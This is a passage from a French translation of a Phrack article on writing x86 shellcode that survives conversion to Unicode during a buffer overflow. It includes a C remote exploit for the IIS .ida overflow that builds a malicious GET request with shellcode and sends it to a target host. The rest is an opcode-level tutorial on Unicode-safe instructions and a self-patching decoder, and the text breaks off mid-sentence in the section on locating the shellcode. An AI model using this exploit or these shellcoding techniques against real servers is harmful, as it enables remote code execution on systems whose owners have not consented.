                          ==Phrack Inc.== 

              Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f 

|=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=| 
|=-----------------------------------------------------------------------=| 
|=------------=[ obscou <obscou@dr.com||wishkah@chek.com> ]=-------------=| 
|=---------------------[ Traduit par X-FaKtOr ]=-------------------------=|


--[ Sommaire 

0 - Le standard unicode 

1 - Introduction 

2 - Notre jeu d'instructions 

3 - Possibilits 

4 - La stratgie 

5 - Position du code 

6 - Conclusion 

7 - Appendice : Le code 


--[ 0 - Le standard unicode 

En exploitant les buffers overflow, nous avons du parfois faire face  une
difficult: Les transformations de caractres. En fait, le programme
exploit peut trs bien modifier notre buffer, en le mettant en
minuscule/majuscule ou en se dbarrassant des caractres non
alphanumriques. La transformation dont nous parlons ici est le passage
d'une chane Ansi de type langage C (la bien connue null terminated
string)en une chane unicode. 


Voici une petite vue d'ensemble de ce qu'est Unicode (source :
www.unicode.org) 


"Qu'est ce qu'Unicode? 
Unicode fournit un numro unique pour chaque caractre, 
peu importe la plate-forme, 
peu importe le programme, 
peu importe le langage." 

--- www.unicode.org 

Du fait que l'Internet soit devenu aussi populaire, et que nous avons
diffrents langages et donc des caractres diffrents, il y a actuellement
ncessit d'avoir un standard pour que les ordinateurs puissent changer
des donnes sans se soucier du programme, de la plate-forme, du langage, du
type de rseau...  Unicode est un jeu de caractres sur 16 bits capable
d'encoder tous les caractres connus et utilis comme un standard mondial
d'encodage de caractres. 

De nos jours, Unicode est utilis par de nombreux leaders de l'industrie
tels que : 

Apple 
HP 
IBM 
Microsoft 
Oracle 
Sun 
et tant d'autres... 

Le standard unicode est requis par des logiciels tels que : (liste non
exhaustive, regardez sur unicode.org pour une liste complte) 

Systmes d'exploitations : 

Microsoft Windows CE, Windows NT, Windows 2000, et Windows XP 
GNU/Linux with glibc 2.2.2 ou plus rcent - FAQ support 
Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI 
Compaq's Tru64 UNIX, Open VMS 
IBM AIX, AS/400, OS/2 
SCO UnixWare 7.1.0 
Sun Solaris 


Et bien sur, par n'importe quel logiciel tournant sur ces systmes... 

http://www.unicode.org/charts/ : nous montre la table Unicode des
caractres.  Ca ressemble  : 

| Range    | Jeu de caractre
|-----------|-------------------- 
| 0000-007F | Basic Latin 
| 0080-00FF | Latin-1 Supplement 
| 0100-017F | Latin Extended-A 
| [...]     | [...] 
| 0370-03FF | Greek and Coptic 
| [...]     | [...] 
| 0590-05FF | Hebrew 
| 0600-06FF | Arabic 
| [...]     | [...] 
| 3040-309F | Japanese Hiragana 
| 30A0-30FF | Japanese Katakana 


.... et ainsi de suite jusqu' ce que tout le monde soit heureux ! 

Unicode 4.0 inclut des caractres pour ces jeux de caractres standards: 

Basic Latin Block Elements 
Latin-1 Supplement Geometric Shapes 
Latin Extended-A Miscellaneous Symbols 
Latin Extended-B Dingbats 
IPA Extensions Miscellaneous Math. Symbols-A 
Spacing Modifier Letters Supplemental Arrows-A 
Combining Diacritical Marks Braille Patterns 
Greek Supplemental Arrows-B 
Cyrillic Miscellaneous Mathematical Symbols-B 
Cyrillic Supplement Supplemental Mathematical Operators 
Armenian CJK Radicals Supplement 
Hebrew Kangxi Radicals 
Arabic Ideographic Description Characters 
Syriac CJK Symbols and Punctuation 
Thaana Hiragana 
Devanagari Katakana 
Bengali Bopomofo 
Gurmukhi Hangul Compatibility Jamo 
Gujarati Kanbun 
Oriya Bopomofo Extended 
Tamil Katakana Phonetic Extensions 
Telugu Enclosed CJK Letters and Months 
Kannada CJK Compatibility 
Malayalam CJK Unified Ideographs Extension A 
Sinhala Yijing Hexagram Symbols 
Thai CJK Unified Ideographs 
Lao Yi Syllables 
Tibetan Yi Radicals 
Myanmar Hangul Syllables 
Georgian High Surrogates 
Hangul Jamo Low Surrogates 
Ethiopic Private Use Area 
Cherokee CJK Compatibility Ideographs 
Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms 
Ogham Arabic Presentation Forms-A 
Runic Variation Selectors 
Tagalog Combining Half Marks 
Hanunoo CJK Compatibility Forms 
Buhid Small Form Variants 
Tagbanwa Arabic Presentation Forms-B 
Khmer Halfwidth and Fullwidth Forms 
Mongolian Specials 
Limbu Linear B Syllabary 
Tai Le Linear B Ideograms 
Khmer Symbols Aegean Numbers 
Phonetic Extensions Old Italic 
Latin Extended Additional Gothic 
Greek Extended Deseret 
General Punctuation Shavian 
Superscripts and Subscripts Osmanya 
Currency Symbols Cypriot Syllabary 
Combining Marks for Symbols Byzantine Musical Symbols 
Letterlike Symbols Musical Symbols 
Number Forms Tai Xuan Jing Symbols 
Arrows Mathematical Alphanumeric Symbols 
Mathematical Operators CJK Unified Ideographs Extension B 
Miscellaneous Technical CJK Compatibility Ideographs Supp. 
Control Pictures Tags 
Optical Character Recognition Variation Selectors Supplement 
Enclosed Alphanumerics Supplementary Private Use Area-A 
Box Drawing Supplementary Private Use Area-B 

Oui c'est impressionnant ! 


Microsoft nous dit : 

"Unicode est un standard mondial d'encodage de caractres. Windows NT,
2000, et Windows XP l'utilisent exclusivement au niveau systme pour la
manipulation de chanes et de caractres.  Unicode simplifie la
localisation des logiciels et amliore le traitement des textes
multilingues.  En l'implmentant dans vos applications, vous pouvez
octroyer  celles-ci des capacits d'changes de donnes universelles pour
aboutir  un marketing plus global, en n'utilisant qu'un seul fichier
binaire pour chaque caractre de codage possible." Nous devons remarquer
que l'interface de programmation Windows utilise les API Ansi et Unicode
pour chaque API, par exemple: 

L'API : MessageBox (affiche une msgbox bien sur)est export par User32.dll
avec: 
	MessageBoxA (ANSI)
 	MessageBoxW (Unicode) 

MessageBoxA acceptera une chaine C standard comme argument MessageBoxW
requiert une chaine Unicode comme argument. 

Selon Microsoft, l'usage interne des chanes est gr par le systme
lui-mme ce qui assure une conversion complte des chanes entre diffrents
standards. Mais si vous voulez utiliser de l'Ansi dans un programme C en
compilant sous Windows, vous devez dfinir UNICODE et chaque API sera
remplace par sa version 'W'.Cela me semble logique, entrons maintenant
dans le vif du sujet... 



--[ 1 - Introduction 



Nous allons considrer la situation suivante: 

Vous envoyez des donnes  un serveur vulnrable, et vos donnes sont
considres comme de l'ASCII (un standard 8 bits d'encodage de caractres),
alors votre buffer est converti en unicode pour des raisons de
compatibilits, et ensuite se produit un overflow avec votre buffer
converti. 

Par exemple, un buffer tel que celui-ci : 
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 
0000 0000 0000 0000 0000 0000 0000 0000 ................ 

Se transformerait en : 
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!....... 

Et bang! le dbordement (ouais je sais mon exemple est stupide !) 

Sur des plates-formes Win32, un processus commence gnralement  l'adresse
00401000, cela rend possible un crasement de l'EIP avec une adresse de
retour qui ressemble  ceci : 

????:00??00?? 

Donc mme aprs une telle transformation, une exploitation reste possible.
Il va tre cependant nettement plus difficile d'obtenir un shellcode
fonctionnel.  Une possibilit est de remplir la pile avec des donnes non
transformes qui contiennent le mme shellcode en de nombreux exemplaires,
ensuite faire l'overflow avec le buffer transform pour le faire retourner
vers l'un de nos multiples shellcodes.  Ici nous supposons que ceci est
impossible car tous les buffers sont en unicode.  Inutile de prciser que
notre code assembleur ne passera pas cette scurit.  Ainsi nous devons
trouver des opcodes contenant des octets nuls pour construire notre
shellcode. 

Voici un exemple, qui est un peu vieux mais il montre comment on peut s'y
prendre pour faire un shellcode qui s'excute mme si le buffer que l'on
envoie est ba** !  Cet exploit fonctionnait sur ma box, il attaque le
service web IIS : 

---------------- CUT HERE ------------------------------------------------- 

/* 
IIS .IDA remote exploit 


Adresse de retour formate: 0x00530053 



par obscurer 
*/ 

#include <windows.h> 
#include <winsock.h> 
#include <stdio.h> 

void usage(char *a); 
int wsa(); 

/* My Generic Win32 Shellcode */ 
unsigned char shellcode[]={ 
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" 
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" 
[......] 
[......] 
[......] 
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" 
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"}; 

int main (int argc, char **argv) 
{ 

int sock; 
struct hostent *host; 
struct sockaddr_in sin; 
int index; 

char *xploit; 
char *longshell; 


char retstring[250]; 

if(argc!=4&&argc!=5) usage(argv[0]); 


if(wsa()==FALSE) 
{ 
printf("Error : cannot initialize winsock\n"); 
exit(0); 
} 


int size=0; 

if(argc==5) 
size=atoi(argv[4]); 


printf("Beginning Exploit building\n"); 

xploit=(char *)malloc(40000+size); 
longshell=(char *)malloc(35000+size); 
if(!xploit||!longshell) 
{ 
printf("Error, not enough memory to build exploit\n"); 
return 0; 
} 

if(strlen(argv[3])>65) 
{ 
printf("Error, URL too long to fit in the buffer\n"); 
return 0; 
} 

for(index=0;index<strlen(argv[3]);index++) 
shellcode[index+139]=argv[3][index]^0x20; 

memset(xploit,0,40000+size); 
memset(longshell,0,35000+size); 
memset (longshell, '\x41', 30000+size); 

for(index=0;index<sizeof(shellcode);index++) 
longshell[index+30000+size]=shellcode[index]; 

longshell[30000+sizeof(shellcode)+size]=0; 


memset(retstring,'S',250); 

sprintf(xploit, 
"GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n", 
retstring, 
longshell); 


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2])); 

sock=socket(AF_INET,SOCK_STREAM,0); 
if(sock<0) 
{ 
printf("Error : Couldn't create a socket\n"); 
return 0; 
} 


if ((inet_addr (argv[1]))==-1) 
{ 
host = gethostbyname (argv[1]); 
if (!host) 
{ 
printf ("Error : Couldn't resolve host\n"); 
return 0; 
} 
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr, 
(unsigned long *)host->h_addr, 
sizeof(host->h_addr)); 

} 
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]); 


sin.sin_family=AF_INET; 
sin.sin_port=htons(atoi(argv[2])); 

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); 
if (index==-1) 
{ 
printf("Error : Couldn't connect to host\n"); 
return 0; 
} 

printf("Connected to host, sending shellcode\n"); 

index=send(sock,xploit,strlen(xploit),0); 
if(index<1) 
{ 
printf("Error : Couldn't send trough socket\n"); 
return 0; 
} 

printf("Done, waiting for an answer\n"); 

memset (xploit,0, 2000); 

index=recv(sock,xploit,100,0); 
if(index<0) 
{ 
printf("Server crashed, if exploit didn't work, 
increase buffer size by 10000\n"); 
exit(0); 
} 


printf("Exploit didn't seem to work, closing connection\n",xploit); 

closesocket(sock); 

printf("Done\n"); 

return 0; 
} 
---------------- CUT HERE ------------------------------------------------- 


Dans cet exemple, la chane d'exploitation doit tre constitue comme suit: 

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n" Si
[BUFFER] est assez grand, EIP est cras avec ce qu'il contient.  Mais j'ai
not que [BUFFER] tait converti en unicode quand se produisait l'overflow.
Mais un fait intressant est que [ANY] tait un buffer ASCII clean au
dpart, tant mapp en mmoire  environ:00530000...  J'ai donc tent de
mettre [BUFFER]  "SSSSSSSSSSSSS" (S = 0x53).  Aprs la transformation en
unicode cela devient: 

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53... 

Le registre EIP tait cras avec: 0x005300053, IIS retournait quelque part
prs de [ANY], o j'avais plac une quantit de 0x41 = "A"(qui incrmente
un registre) et ensuite  la fin de [ANY], mon shellcode.  Et cela marcha.
Mais nous n'avons aucun buffer clean, nous sommes dans l'incapacit
d'installer un shellcode quelque part en mmoire. Nous devons trouver une
autre solution. 


--[ 2 - Notre jeu d'instructions 


Nous devons garder  l'esprit que nous ne pouvons pas utiliser d'adresses
absolues pour les calls,jmp...car nous voulons que notre shellcode soit
aussi portable que possible. D'abord nous devons connatre quels opcodes
peuvent tre utiliss, et lesquels ne le peuvent pas pour laborer une
stratgie. Comme cela est utilis couramment dans les papiers Intel: 

r32 se refre  un registre 32 bits (eax,esi,ebp...) 
r8 se rfre  un registre 8 bits (ah,bl,cl...) 


- SAUTS INCONDITIONNELS (JMP) 

Les opcodes pour un JMP sont EB et E9 pour des sauts relatifs, nous ne
pouvons pas les utiliser car ils doivent tre suivis par un octet (00
signifierait un saut vers la prochaine instruction ce qui est bien sur
inutile) 

FF et EA sont des sauts absolus, ces opcodes ne peuvent tre suivis par un
00, sauf si nous voulons sauter  une adresse connue, ce que nous ne ferons
pas car cela signifierait que notre shellcode contiendrait des adresses en
dur. 

- LES SAUTS CONDITIONNELS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...) 

La syntaxe pour les far-jump ne peut tre utilise car elle ncessite 2
octets conscutifs non-nuls. La syntaxe pour les near-jump ne peut pas non
plus tre utilise car l'opcode doit tre suivi de la distance qui le
spare de la destination du saut, qui ne sera jamais 00. Aussi les JMP r32
sont impossibles. 


- LES BOUCLES (LOOP, LOOPcc : LOOPE, LOOPNZ..) 

Mme problme: E0, ou E1, ou E2 sont des opcodes de BOUCLE, ils doivent
tre suivis par le nombre d'octets  boucler... 


- REPEAT (REP, REPcc : REPNE, REPNZ, REP + string opration) 

Tous ceci est impossible  faire du fait que ces instructions commencent
toutes avec un opcode de deux octets. 

- CALL 

Seul, les calls relatifs peuvent tre utiles: 
E8 ?? ?? ?? ?? 
Dans notre cas, nous devons avoir: 
E8 00 ?? 00 ?? (avec chaque ?? != 00) 
Nous ne pouvons pas utiliser ceci car la destination du call serait au
moins  01000000 octets plus loin... 
Aussi, le CALL r32 est impossible. 


- AFFECTATION D'OCTETS SUR CONDITION (SETcc) 

Cette instruction ncessite 2 octets non nuls. (SETA est 0F 97 par exemple). 



Et bien...C'est plus difficile que a le semblait...Nous ne pouvons faire
aucun test... Car nous ne pouvons rien faire de conditionnel ! De plus,
nous ne pouvons pas nous dplacer dans notre code: aucun saut ni call ne
sont permis, et ni les boucles ni les repeats ne peuvent tres effectus. 

Alors, que pouvons-nous faire ?  Le fait que nous ayons de nombreux octets
nuls va permettre beaucoup d'oprations sur le registre EAX...Car quand
vous utilisez EAX, [EAX], AX, etc...comme oprande, c'est souvent cod en
Hexa avec un 00. 

- OPCODES A UN SEUL OCTET 

Nous pouvons utiliser n'importe quel opcode  un seul octet, cela va nous
donner n'importe quel INC ou DEC sur n'importe quel registre, XCHG et
PUSH/POP sont aussi possibles, avec les registres en tant qu'oprandes.
Ainsi nous pouvons faire: 
XCHG r32,r32 
POP r32 
PUSH r32 

Pas mal. 


- MOV 
________________________________________________________________ 
|8800 mov [eax],al 						| 
|8900 mov [eax],eax 						| 
|8A00 mov al,[eax] 						| 
|8B00 mov eax,[eax] 						| 
| 								| 
|Relativement inutile. 						| 
|_______________________________________________________________| 

________________________________________________________________ 
|A100??00?? mov eax,[0x??00??00] 				| 
|A200??00?? mov [0x??00??00],al 				| 
|A300??00?? mov [0x??00??00],eax 				| 
| 								| 
|Ceux-ci nous sont inutiles. (Nous avons bien dis aucune 	|
|adresse en dur). 						| 
|_______________________________________________________________| 

________________________________________________________________ 
|B_00 mov r8,0x0 						| 
|A4 movsb 							| 
| 								| 
|Peut-tre pourrions nous utiliser ceux-ci. 			| 
|_______________________________________________________________| 

________________________________________________________________ 
|B_00??00?? mov r32,0x??00??00 					| 
|C600?? mov byte [eax],0x?? 					| 
| 								| 
|Cela pourrait tre utile pour patcher la mmoire. 		| 
|_______________________________________________________________| 



- ADD 

________________________________________________________________ 
|00__ add [r32], r8 						| 
| 								| 
| En utilisant n'importe quel registre en tant que pointeu,	|
|nous pouvons ajouter des octets en mmoire. 			| 
| 								| 
|00__ add r8,r8 						| 
| 								| 
| Pourrait tre une manire de modifier un registre. 		| 
|_______________________________________________________________| 


- XOR 

________________________________________________________________ 
|3500??00?? xor eax,0x??00??00 					| 
| 								| 
| 								| 
| Pourrait tre une manire de modifier le registre EAX. 	| 
|_______________________________________________________________| 


- PUSH 

________________________________________________________________ 
|6A00 push dword 0x00000000 					| 
|6800??00?? push dword 0x??00??00 				| 
| 								| 
| Seul ceci peut tre ralis. 					| 
|_______________________________________________________________| 


--[ 3 - Possibilits 


D'abord nous devons nous dbarrasser d'un petit dtail:le fait que nous
ayons de tels 0x00 dans notre code requiert de la prudence car si vous
retournez d'un EIP cras  ADDR: 

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ... 
|| 
ADDR 

Le rsultat pourrait tre compltement diffrent si vous retournez  ADDR
ou  ADDR+1 ! Mais, nous pouvons utiliser en tant qu'instruction 'NOP', des
instructions telles que: 

________________________________________________________________ 
|0400 add al,0x0 						| 
|_______________________________________________________________| 

A cause du fait que: 000400 reprsente: add [2*eax],al, nous pouvons sauter
o nous le voulons, nous ne serons pas ennuys par le fait que nous devions
tomber sur un 0x00 ou pas. 

Mais cela demande que 2*eax soit un pointeur valide.  Nous avons galement: 

________________________________________________________________ 
|06 push es 							| 
|0006 add [esi],al 						| 
| 								| 
|0F000F str [edi] 						| 
|000F add [edi],cl 						| 
| 								| 
|2E002E add [cs:esi],ch 					| 
|002E add [esi],ch 						| 
| 								| 
|2F das 							| 
|002F add [edi],ch 						| 
| 								| 
|37 aaa 							| 
|0037 add [edi],dh 						| 
| ; .... etc etc... 						| 
|_______________________________________________________________| 

Nous devons juste nous montrer prudent avec ce problme d'alignement. 

Ensuite, regardons ce qui peut tre fait: 

XCHG, INC, DEC, PUSH, POP registre 32 bits peuvent tre faits directement 

Nous pouvons mettre un registre (r32)  00000000 : 
________________________________________________________________ 
|push dword 0x00000000 						| 
|pop r32 							| 
|_______________________________________________________________| 

Notons que tout ce qui peut tre fait avec EAX peut tre fait avec
n'importe quel registre grce  l'instruction XCHG. 

Par exemple nous pouvons mettre n'importe quelle valeur dans EDX avec un
0x00 en seconde position : 
(par exemple : 0x12005678): 
________________________________________________________________ 
|mov edx,0x12005600 ; EDX = 0x12005600 				| 
|mov ecx,0xAA007800 						| 
|add dl,ch ; EDX = 0x12005678 					| 
|_______________________________________________________________| 


Plus difficile: nous pouvons mettre n'importe quelle valeur dans EAX (par
exemple), mais nous devrons user d'une petite astuce avec la pile: 

________________________________________________________________ 
|mov eax,0xAA003400 ; EAX = 0xAA003400 				| 
|push eax 							| 
|dec esp 							| 
|pop eax ; EAX = 0x003400?? 					| 
|add eax,0x12005600 ; EAX = 0x123456?? 				| 
|mov al,0x0 ; EAX = 0x12345600 					| 
|mov ecx,0xAA007800 						| 
|add al,ch 							| 
| ; finally : EAX = 0x12345678 					| 
|_______________________________________________________________| 


Note importante : nous pourrions avoir envie de mettre des 0x00 aussi : 

Si nous voulions un 0x00  la place de 0x12, alors  la place d'ajouter
0x00120056 au registre, nous pouvons simplement ajouter 0x56  ah: 

________________________________________________________________ 
|mov ecx,0xAA005600 						| 
|add ah,ch 							| 
|_______________________________________________________________| 

Si nous voulions un 0x00 au lien de 0x34, alors nous devons avoir
EAX=00000000 pour commencer, au lieu de tenter de mettre cet octet 0x34. 

Si nous voulions un 0x00 au lien de 0x56, alors il est simple de soustraire
0x56  ah en ajoutant 0x100 - 0x56 = 0xAA  ca: 
________________________________________________________________ 
| ; EAX = 0x123456?? 						| 
|mov ecx,0xAA00AA00 						| 
|add ah,ch 							| 
|_______________________________________________________________| 

Si nous voulions un 0x00  la place du dernier octet effacez juste la
dernire ligne. 

Si vous n'aviez pas pens  , souvenez-vous que vous pouvez sauter  un
emplacement donn avec (en admettant que l'adresse est dans EAX): 
________________________________________________________________ 
|50 push eax 							| 
|C3 ret 							| 
|_______________________________________________________________| 

Vous pouvez utiliser ceci dans les cas dsesprs. 


--[ 4 - La stratgie 



Il semblerait qu'il soit presque impossible d'obtenir un shellcode
fonctionnel avec un si petit jeu d'instructions...Mais  ne l'est pas !
L'ide est la suivante : 

Pour un shellcode fonctionnel donn, nous devons nous dbarrasser des 00
entre chaque octet. Il nous faut une boucle, alors faisons-en une, avec EAX
pointant sur notre shellcode : 

_Code_de_la_boucle_:____________________________________________
| ; eax pointe sur notre shellcode 				| 
| ; ebx est gal  0x00000000 					| 
| ; ecx est gal  0x00000500 (par exemple) 			| 
| 								| 
| label: 							| 
|43 inc ebx 							| 
|8A1458 mov byte dl,[eax+2*ebx] 				| 
|881418 mov byte [eax+ebx],dl 					| 
|E2F7 loop label 						| 
|_______________________________________________________________| 

Problme: non-unicode. 
Transformons le en unicode: 

43 8A 14 58 88 14 18 E2 F7, serait : 
43 00 14 00 88 00 18 00 F7 

Ensuite, en considrant le fait que nous pouvons crire des donnes  un
endroit point par EAX, ce sera simple de transformer ces 00 en leurs
valeurs originales. 

Nous devons simplement faire ceci (nous supposons que EAX pointe sur nos
donnes) : 

________________________________________________________________ 
|40 inc eax 							| 
|40 inc eax 							| 
|C60058 mov byte [eax],0x58 					| 
|_______________________________________________________________| 

Problme : ce n'est toujours pas unicode. Comme 2 octets tels 0x40 se
suivent, nous avons besoin d'un 00 entre les deux...Comme 00 ne peut pas
convenir, il nous faut quelque chose comme ceci : 00??00, Ce qui
n'interfrera pas avec notre affaire, donc: 

add [ebp+0x0],al (0x004500) 

Le fera parfaitement. En dfinitive on obtient: 

________________________________________________________________ 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60058 mov byte [eax],0x58 					| 
|_______________________________________________________________| 

-> [40 00 45 00 40 00 45 00 C6 00 58] n'est rien d'autre qu'une chane
unicode!  Avant la boucle, nous devons avoir fait certaines choses: D'abord
nous devons fixer un compteur, je propose de mettre ECX a 0x500, cela nous
autorisera un shellcode de 1280 octets (mais ne vous gnez pas pour le
changer). 
->C'est ais  faire  l'aide de ce que nous venons de remarquer.  Ensuite
nous devons avoir EBX=0x00000000, de faon  ce que la boucle marche
correctement. 
->C'est galement facile  raliser.  Enfin nous devons avoir EAX qui
pointe sur notre shellcode dans le but de supprimer les octets nuls. 
->Ceci sera la partie la plus difficile dans notre tache, aussi nous
verrons cela plus loin. 

En supposant que EAX pointe sur notre code, nous pouvons construire une
en-tte qui va nettoyer notre code des octets nuls (nous usons d'un add
[ebp+0x0],al pour aligner les octets nuls): 

->1re partie: nous mettons EBX=0x00000000, et ECX=0x00000500 (la taille
approximative de notre buffer) 

________________________________________________________________ 
|6A00 push dword 0x00000000 					| 
|6A00 push dword 0x00000000 					| 
|5D pop ebx 							| 
|004500 add [ebp+0x0],al 					| 
|59 pop ecx 							| 
|004500 add [ebp+0x0],al 					| 
|BA00050041 mov edx,0x41000500 					| 
|00F5 add ch,dh 						| 
|_______________________________________________________________| 

->2me partie: Le patch de la portion de code de la boucle: 43 00 14 00 88
00 18 00 F7 doit devenir : 43 8A 14 58 88 14 18 E2 F7 Ainsi nous devons
patcher exactement 4 octets, ce qui est simple: 

(N.B: en utilisant {add dword [eax],0x00??00??} cela prend plus d'octets
aussi nous utiliserons un mov a un seul octet : {mov byte [eax],0x??} pour
faire ceci) 

________________________________________________________________ 
|mov byte [eax],0x8A 						| 
|inc eax 							| 
|inc eax 							| 
|mov byte [eax],0x58 						| 
|inc eax 							| 
|inc eax 							| 
|mov byte [eax],0x14 						| 
|inc eax 							| 
| ; encore un inc pour avoir avoir EAX sur notre shellcode 	| 
|_______________________________________________________________| 

Ce qui se fait, avec l'instruction 'd'alignement' {add [ebp+0x0],al} : 

________________________________________________________________ 
|004500 add [ebp+0x0],al 					| 
|C6008A mov byte [eax],0x8A ; 0x8A 				|				 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60058 mov byte [eax],0x58 ; 0x58 				| 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C60014 mov byte [eax],0x14 ; 0x14 				| 
|004500 add [ebp+0x0],al 					| 
| 								| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|C600E2 mov byte [eax],0xE2 ; 0xE2 				| 
|004500 add [ebp+0x0],al 					| 
|40 inc eax 							| 
|004500 add [ebp+0x0],al 					| 
|_______________________________________________________________| 

C'est bon, nous avons maintenant EAX qui pointe sur la fin de la boucle, ce
qui revient  dire sur le shellcode. 

->3me partie: Le code de la boucle (rempli d'octets nuls bien sur) 
________________________________________________________________ 
|43 db 0x43 							| 
|00 db 0x00 ; cras par 0x8A 					| 
|14 db 0x14 							| 
|00 db 0x00 ; cras par 0x58 					| 
|88 db 0x88 							| 
|00 db 0x00 ; cras par 0x14 					| 
|18 db 0x18 							| 
|00 db 0x00 ; cras par 0xE2 					| 
|F7 db 0xF7 							| 
|_______________________________________________________________| 

Juste aprs cela nous devons placer le shellcode fonctionnel original. 



Comptons la taille de cette en-tte : (les octets nuls ne comptent pas
evidemment) 

1re partie : 10 octets 
2me partie : 27 octets 
3me partie : 5 octets 
------------------- 
Total : 42 octets 

Je trouve ceci envisageable, car je peux imaginer faire un remote shellcode
Win32 qui tiendrait en environ 450 octets. 

Ainsi, nous l'avons finalement fait : un shellcode qui fonctionne aprs
avoir t converti en une chane unicode ! 

Est-ce rellement tout? Non bien sur, nous oublions quelque chose. J'ai
cris que supposions que EAX pointait exactement sur le premier octet nul
du code de la boucle.  Mais pour tre honnte avec vous, je me dois de vous
expliquer une faon d'obtenir ceci. 


--[ 5 - Capitaine, nous ne connaissons pas notre position ! 


Le problme est simple : Nous devons patcher la mmoire pour faire que
notre boucle fonctionne. Aussi nous devons connatre notre position car
nous nous patchons nous-mme.  Dans un programme assembleur, une faon
simple de faire cela serait: 

________________________________________________________________ 
|call label 							| 
| 								| 
| label: 							| 
|pop eax 							| 
|______________________________________________________________ | 

Va rcuprer l'adresse mmoire absolue de laber dans EAX. 

Dans un shellcode classique il nous faut faire un call vers un adresse
infrieure pour viter les octets nuls : 

________________________________________________________________ 
|jmp jump_label 						| 
| 								| 
| call_label: 							| 
|pop eax 							| 
|push eax 							| 
|ret 								| 
| jump_label: 							| 
|call call_label 						| 
| ; **** 							| 
|_______________________________________________________________| 

Va rcuprer l'adresse mmoire absolue dans '****' 

Mais ceci est impossible dans notre cas, car nous ne pouvons ni sauter ni
faire de call. De plus, nous ne pouvons scanner la mmoire a la recherche
d'une signature de quelque type que ce soit. Je suis sur qu'il doit y avoir
d'autre manire de faire cela mais je n'en aurais que 3  vous proposer: 


->1re ide : nous sommes chanceux. 

Si nous sommes chanceux, nous pouvons esprer que certains registre
pointant sur un endroit proche de notre code malveillant. En fait, cela se
produira dans 90% des cas. Cet endroit ne peut tre envisag tre crit en
dur car il changera probablement d'un machine a l'autre. (Le programme,
avant de crasher, doit avoir utilis vos donnes et de ce fait il doit
contenir des pointeurs sur ces dernires) Nous savons que nous pouvons
ajouter n'importe quoi  EAX (seulement  EAX) Ainsi nous pouvons: 

-utiliser XCHG pour obtenir l'adresse approximative dans EAX -ensuite
ajouter une valeur  EAX, et ainsi dplacer celle-ci ou l'on veut. 

Le problme est que nous ne pouvons utiliser : add al,r8 ni and ah,r8, car
n'oubliez pas que: 
EAX=0x000000FF + add al,1 =EAX=0x00000000 
Ainsi ces manipulations accompliront diffrentes choses selon ce que
contient EAX. 

Ainsi tout ce que nous avons est: add eax, 0x??00??00 Aucun problme, nous
pouvons ajouter 0x1200 ( par exemple) a EAX avec: 

________________________________________________________________ 
|0500110001 add eax,0x01001100 					| 
|05000100FF add eax,0xFF000100 					| 
|_______________________________________________________________| 

Ensuite, il est simple d'ajouter des donnes alignes de faon  ce que EAX
pointe sur ce que nous voulons.  Par exemple: 
________________________________________________________________ 
|0400 add al,0x0 						| 
|_______________________________________________________________| 

Serait parfait pour aligner.  (N.B:nous aurons peut tre besoin d'un petit
inc EAX pour que a convienne) 

De la place supplmentaire peut tre ncessaire pour cette mthode
(maximum: 128 octets car nous pouvons seulement faire pointer EAX vers la
plus proche adresse modulo 0x100, ensuite nous devons aligner les octets.
Comme chaque paire d'octets n'est qu'en fait qu'un octet d'un buffer 
cause de l'adjonction des octets nuls, nous devons ajouter au dans le pire
des cas 0x100 / 2 = 128 octets) 


->2me ide: un peu moins chanceux. 

Si vous pouvez trouver un adresse proche dans vos registre, vous pouvez
srement en trouver une dans la pile. Esprons que votre ESP n'a pas t
cras aprs l'overflow.  Vous devez juste faire un POP  partir de la pile
jusqu' trouver une bonne adresse.  Cette mthode ne peut tre prsente
d'une faon gnrale, mais la pile contient toujours des adresses que
l'application a utilises avant que vous vous en occupiez.  Notez que vous
pouvez utiliser POPAD pour faire un pop EDI, ESI, EBX, EDX, ECX et EAX.
Ensuite nous utilisons la mme mthode que prcdemment. 



-> 3me ide : Dieu oubliez-moi. 

Ici, nous supposons que nous n'avons aucun registre intressant, ou que les
valeurs que contiennent ceux-ci changer d'un essai  l'autre. De plus, il
n'y a rien d'intressant dans la pile. 

C'est un cas dsespr donc -> nous utilisons une attaque samoura suicide. 

Ma dernire ide est de: 

- Prendre une adresse mmoire "alatoire" qui a des droits en criture 
- Patcher avec 3 octets 
- Appeler cette adresse avec un call relatif 

La premire partie est la plus hasardeuse : nous devons trouver un adresse
qui se trouve dans un section ou l'on peut crire. Nous ferions mieux d'en
trouver une a la fin d'une section remplie d'octets nuls ou quelque chose
comme a, car nous allons faire un call plutt alatoire. La manire la
